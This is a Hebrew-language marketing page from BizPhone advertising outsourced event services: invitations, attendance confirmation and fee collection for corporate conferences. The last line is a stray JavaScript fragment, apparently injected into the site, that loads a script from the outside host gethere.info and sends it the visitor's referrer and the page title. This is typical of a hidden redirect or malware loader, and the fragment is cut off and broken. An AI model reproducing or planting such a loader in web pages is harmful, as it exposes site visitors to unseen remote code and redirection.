072-221-8100Sales@bizphone.co.il

מארגנים כנס או אירוע בחברה? – מערכת רישום

אחד הכלים החשובים ביותר העומדים לרשות חברות וגופים העורכים כנסים ואירועים היא מערכת רישום מבקרים מקצועית.

חשיבות איכות פעילותה של מערכת רישום לכנסים מסוג זה, באה לידי ביטוי הן לפני הכנס, בזמן הכנס עצמו והן ביום שלאחריו במקרה הראשון כחלק פעיל בהבניית אופי האירוע בהתאם למשתתפים המגיעים אליו ובמקרה השני הן כמסד ובסיס נתונים לארגון ימי עיון, כנסים ואירועים עתידיים, הן כמאגר שמות עסקי מפולח ועתיר אינפורמציה והן כמכשיר להסקת מסקנות ועיבוד נתונים של האירוע במהלכו נעשה במערכת שימוש

מערכת רישום ממוחשבת

הפעלתה של מערכת רישום מבקרים ממוחשבת, עם או בלי שימוש באופציית סליקת אשראי לטובת מערך התשלומים של הכנס, מהווה את הצעד הראשון שלכם במרחב ההתכנסות. עובדה זו, לצד החשיבות הרבה של הנתונים הנאספים במסגרתה, הופכות כל מערכת רישום לכנסים לשלב שאין להפריז בחשיבותו לגבי ההתנהלות המקצועית והמוצלחת של הכנס. יתרה מזאת. מערכת רישום איכותית מאפשרת לייעל תהליכי רישום לכנסים בצורה משמעותית בעזרת הרשמה מראש כך שהכניסה לאירוע עצמו תעבור בצורה חלקה עוד יותר.

כאשר חברה לוקחת שירותים חיצוניים מקצועיים לניהול הכנס / האירוע היא חוסכת הרבה מאוד בכח אדם השימוש במערכת מובנת שעובדת חוסך הרבה מאוד זמן של עובדים שזו לא עבודתם היום יומית.

מוכח בשטח – חברות שמעסיקות שירות חיצוני לניהול הגעת המוזמנים לכנס / האירוע חוסכת בגדולבכח אדם – לימוד עבודה שאינה עבודתם השוטפת שלהעובדים גובה זמן יקר מאוד

בביז – פון אנו מספקים שירותי הזמנות, וידוא הגעה וגביית כספים של מוזמנים לכנסים ו / או אירועי החברה ניהול מקצועי ואמין, שירות ברמה גבוהה.

נציגי ביזפון מבצעים שליחת הזמנות למוזמנים לכנס/ אירוע על פי דרישת החברה באימייל, דואר,בפלאפון

נציגי ביז פון מתקשרים עם המוזמנים ומוודאים שהם אכן מגיעים לאירוע / הכנס הנציגים שולחים לעסק בקובץ את רישומי ההגעות

נציגנו מבצעים גביית כספים, עלות השתתפות בכנס / האירוע וסליקה באשראי, רישומי הלקוחות ששילמו נשלחים לחברה באופן ברור ומסודר

שירותי הזמנה, גבייה וניהול

הפתרון להצלחת הכנס / האירוע

החברה מספקת מענה לחברות וארגונים המעוניינים לערוך כנס מוצלח, החל משלב שליחת ההזמנה, וידוא הגעה וגביית כספים ו –f.u נוסף לאישור הגעה ובכך חוסכת ללקוח כוח אדם ומשאבים בגביה וניהול נרשמים.

וידוא הגעה ואישורי הזמנה

השקעתם בכנס כסף רב, הזמנות, מרצים, מקום אירוח, כיבוד וכיוצ’ חשוב מאוד להשקיע בוידואי הגעה ואישורי הזמנה, כך סיכויי ההגעה יהיו הרבה יותר גדולים

s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ";